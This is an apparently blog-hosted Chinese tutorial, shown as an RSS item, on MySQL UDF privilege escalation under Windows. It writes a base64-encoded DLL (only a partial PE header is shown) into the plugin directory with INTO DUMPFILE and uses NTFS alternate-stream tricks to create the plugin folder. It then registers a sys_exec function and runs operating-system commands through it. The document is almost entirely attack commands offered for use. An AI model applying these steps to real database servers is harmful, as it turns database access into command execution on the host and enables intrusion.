<p><strong>编辑base64文件并通过以下方式将其dump到插件目录</strong></p>
<pre><code class="">select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") 
into dumpfile "D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\udf.dll";
</code></pre>
<h3>DLL使用</h3>
<ul>
<li>查找到mysql的目录</li>
</ul>
<pre><code class="">select @@basedir;
</code></pre>
<ul>
<li>创建文件夹（没测试成功）</li>
</ul>
<pre><code class="">select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录
</code></pre>
<ul>
<li>改变plugin目录位置</li>
</ul>
<pre><code class="">mysqld.exe –plugin-dir=C:\temp\plugins\
</code></pre>
<ul>
<li>上传dll</li>
</ul>
<p><img src="https://ae01.alicdn.com/kf/H584c9e7e2eae4110be942b8adfb9de7ba.jpg" alt="" /></p>
<ul>
<li>安装</li>
</ul>
<pre><code class="">create function sys_exec returns int soname 'udf.dll';
</code></pre>
<ul>
<li>验证</li>
</ul>
<pre><code class="">select * from mysql.func where name = 'sys_exec';
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H4686105bc9b24c8dbbca57ca744a9ec4W.jpg" alt="" /></p>
<ul>
<li>删除</li>
</ul>
<pre><code class="">drop function sys_exec;
</code></pre>
<ul>
<li>执行</li>
</ul>
<pre><code class="">select sys_exec('cmd');
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H35996863ea5f4319930172b9924440f4D.jpg" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
